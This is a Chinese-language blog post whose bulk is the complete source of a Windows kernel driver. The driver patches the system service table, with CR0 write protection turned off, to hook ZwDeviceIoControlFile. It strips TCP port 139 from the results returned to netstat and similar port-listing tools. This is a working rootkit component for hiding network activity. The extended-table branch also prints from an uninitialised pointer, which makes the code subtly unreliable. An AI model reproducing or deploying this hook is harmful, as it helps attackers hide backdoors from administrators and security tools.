Hook 系統服務隱藏端口

有時候寫程序,調試程序真是一件非常有趣的事,就比如這次,蹦蹦跳跳,笑嘻嘻,意猶未盡的就把這個程序搞好了。

netstat 或者其他各種列舉端口的工具,比如fport,或者 sysinternals 的 Tcpview,都是調用 Iphlpapi.dll 中的 API 來完成端口的列舉。而 Iphlpapi.dll 中的 API 最終是使用 ZwDeviceIoControlFile ,向設備對象 Device/Tcp 發 IOCTL_TCP_QUERY_INFORMATION_EX 來得到各種信息的。於是我們只要Hook相應的System Service ,然後對得到的結果做一些處理,弄掉不希望出現的端口信息就可以了。不過真正的問題在於,IOCTL_TCP_QUERY_INFORMATION_EX 和端口相關的各種結構定義,參數含義目前都(大部分)是未公開,沒人知道的,也就是Undocumented的。Undocumented?? ring3調試,我熟啊。ring0調試,我熟啊。Windows驅動,我熟啊。Windows系統,我熟啊。我怕誰啊我。Undocumented??爽,要的就是Undocumented。

通過ring3調試,分析Iphlpapi.dll是如何使用 IOCTL_TCP_QUERY_INFORMATION_EX 相關的各種參數,結合msdn中的一些信息,於是很輕鬆的搞清了需要了解的結構。用我自己寫的awx建一個VC的驅動項目,寫好了Hook部分。

關於本例中使用的解決Hook在各種Windows版本下運行的方法,在很多地方很多地方都出現了,我不清楚最早是誰想出來的,我是在《Undocumented Windows NT》一書的源碼中第一次看到這種方法的。

下面是實現源碼,很簡單,我就不多說什麼了。

#if 0 //================================================================
Copyright (c) JIURL, All Rights Reserved
========================================================================

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

Module Name:

Jiurl_tcpioctl.h

About:

- 這個驅動項目由一個我寫的 AppWizard 創建。

[ HomePage ] http://jiurl.yeah.net
~~~~~~~~~~~~~~~~~~~~~
[ Email ] [email protected]
~~~~~~~~~~~~~~~~~~~~
[ Forum ] http://jiurl.cosoft.org.cn/forum/index.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- 有償定製 AppWizard ,請發郵件聯繫 。

Comments:

本文件中的所有內容目前都是未公開的,由我分析得出,是隱藏端口的關鍵內容。
Undocumented?? 爽!要的就是 Undocumented 。

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
#endif

// jiurl // IPSNMPInfo 結構的定義是根據 RFC 2011
// jiurl // 所以我根據 RFC 2022 ,仿 IPSNMPInfo, 定義結構 TCPSNMPInfo
// jiurl // 再通過一些分析得到一些擴展部分的定義

typedef struct TCPSNMPInfo {
ULONG tcpsi_RtoAlgorithm;
ULONG tcpsi_RtoMin;
ULONG tcpsi_RtoMax;
ULONG tcpsi_MaxConn;
ULONG tcpsi_ActiveOpens;
ULONG tcpsi_PassiveOpens;
ULONG tcpsi_AttemptFails;
ULONG tcpsi_EstabResets;
ULONG tcpsi_CurrEstab;
ULONG tcpsi_InSegs;
ULONG tcpsi_OutSegs;
ULONG tcpsi_RetransSegs;
ULONG tcpsi_unknown1;
ULONG tcpsi_unknown2;
ULONG tcpsi_numconn;
} TCPSNMPInfo;

#define tcpRtoAlgorithm_other 1 // none of the following
#define tcpRtoAlgorithm_constant 2 // a constant rto
#define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B
#define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm

#define TCP_MIB_STATS_ID 1
#define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101
#define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102

typedef struct TCPAddrEntry {
ULONG tae_ConnState;
ULONG tae_ConnLocalAddress;
ULONG tae_ConnLocalPort;
ULONG tae_ConnRemAddress;
ULONG tae_ConnRemPort;
} TCPAddrEntry;

#define tcpConnState_closed 1
#define tcpConnState_listen 2
#define tcpConnState_synSent 3
#define tcpConnState_synReceived 4
#define tcpConnState_established 5
#define tcpConnState_finWait1 6
#define tcpConnState_finWait2 7
#define tcpConnState_closeWait 8
#define tcpConnState_lastAck 9
#define tcpConnState_closing 10
#define tcpConnState_timeWait 11
#define tcpConnState_deleteTCB 12

typedef struct TCPAddrExEntry {
ULONG tae_ConnState;
ULONG tae_ConnLocalAddress;
ULONG tae_ConnLocalPort;
ULONG tae_ConnRemAddress;
ULONG tae_ConnRemPort;
ULONG pid;
} TCPAddrExEntry;

#if 0 //================================================================
Copyright (c) JIURL, All Rights Reserved
========================================================================

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

Module Name:

JiurlPortHide.h

About:

- 這個驅動項目由一個我寫的 AppWizard 創建。

[ HomePage ] http://jiurl.yeah.net
~~~~~~~~~~~~~~~~~~~~~
[ Email ] [email protected]
~~~~~~~~~~~~~~~~~~~~
[ Forum ] http://jiurl.cosoft.org.cn/forum/index.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- 有償定製 AppWizard ,請發郵件聯繫 。

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
#endif

#define PORTHIDE 139

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

NTSYSAPI
NTSTATUS
NTAPI
ZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

typedef NTSTATUS (*ZWDEVICEIOCONTROLFILE)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

ZWDEVICEIOCONTROLFILE OldZwDeviceIoControlFile;

void DriverUnload(IN PDRIVER_OBJECT DriverObject);

NTSTATUS
DriverDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);

NTSTATUS NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

// jiurl // from addrconv.cpp
#define ntohs(s) /
( ( ((s) >> 8) & 0x00FF ) | /
( ((s) << 8) & 0xFF00 ) )

// jiurl // from tcpioctl.h tdiinfo.h tdistat.h
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003

//* Structure of an entity ID.
typedef struct TDIEntityID {
ULONG tei_entity;
ULONG tei_instance;
} TDIEntityID;

//* Structure of an object ID.
typedef struct TDIObjectID {
TDIEntityID toi_entity;
ULONG toi_class;
ULONG toi_type;
ULONG toi_id;
} TDIObjectID;

#define CONTEXT_SIZE 16
//
// QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer
// in the DeviceIoControl request. This structure is passed as the
// InputBuffer.
//
struct tcp_request_query_information_ex {
TDIObjectID ID; // object ID to query.
ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed
// for the first request.
};

typedef struct tcp_request_query_information_ex
TCP_REQUEST_QUERY_INFORMATION_EX,
*PTCP_REQUEST_QUERY_INFORMATION_EX;

#define CO_TL_ENTITY 0x400
#define INFO_CLASS_PROTOCOL 0x200
#define INFO_TYPE_PROVIDER 0x100

#if 0 //================================================================
Copyright (c) JIURL, All Rights Reserved
========================================================================

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

Module Name:

JiurlPortHide.cpp

About:

- 這個驅動項目由一個我寫的 AppWizard 創建。

[ HomePage ] http://jiurl.yeah.net
~~~~~~~~~~~~~~~~~~~~~
[ Email ] [email protected]
~~~~~~~~~~~~~~~~~~~~
[ Forum ] http://jiurl.cosoft.org.cn/forum/index.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- 有償定製 AppWizard ,請發郵件聯繫 。

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
#endif

#ifdef __cplusplus
extern "C"
{
#endif

#include <ntddk.h>

#include "JiurlPortHide.h"
#include "Jiurl_tcpioctl.h"

#ifdef __cplusplus
}
#endif

NTSTATUS
DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
DbgPrint("JiurlPortHide: Hello,This is DriverEntry!/n");

DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDispatch;
DriverObject->DriverUnload = DriverUnload;

// save old system call locations
OldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]);

_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}

(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)NewZwDeviceIoControlFile;

_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}

return STATUS_SUCCESS;
}

NTSTATUS
DriverDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,IO_NO_INCREMENT);
return Irp->IoStatus.Status;
}

void DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("JiurlPortHide: Bye,This is DriverUnload!/n");

_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}

(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)OldZwDeviceIoControlFile;

_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
}

NTSTATUS NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
NTSTATUS rc;

rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) (
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength
);

if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX)
{
return(rc);
}

TCP_REQUEST_QUERY_INFORMATION_EX req;
TCPAddrEntry* TcpTable;
TCPAddrExEntry* TcpExTable;
ULONG numconn;
LONG i;

DbgPrint("JiurlPortHide: IOCTL_TCP_QUERY_INFORMATION_EX/n");

if( NT_SUCCESS( rc ) )
{
req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
req.ID.toi_entity.tei_instance = 0;
req.ID.toi_class = INFO_CLASS_PROTOCOL;
req.ID.toi_type = INFO_TYPE_PROVIDER;
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;

if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) )
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;

for( i=0; i<numconn; i++ )
{
if( ntohs(TcpTable[i].tae_ConnLocalPort) == PORTHIDE )
{
DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort));

memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
numconn--;
i--;
}
}

IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
return(rc);
}

req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;

if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) )
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
TcpExTable = (TCPAddrExEntry*)OutputBuffer;

for( i=0; i<numconn; i++ )
{
if( ntohs(TcpExTable[i].tae_ConnLocalPort) == PORTHIDE )
{
DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpTable[i].tae_ConnLocalPort));

memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
numconn--;
i--;
}
}

IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
return(rc);
}
}

return(rc);
}

發佈了87 篇原創文章 · 獲贊 2 · 訪問量 18萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章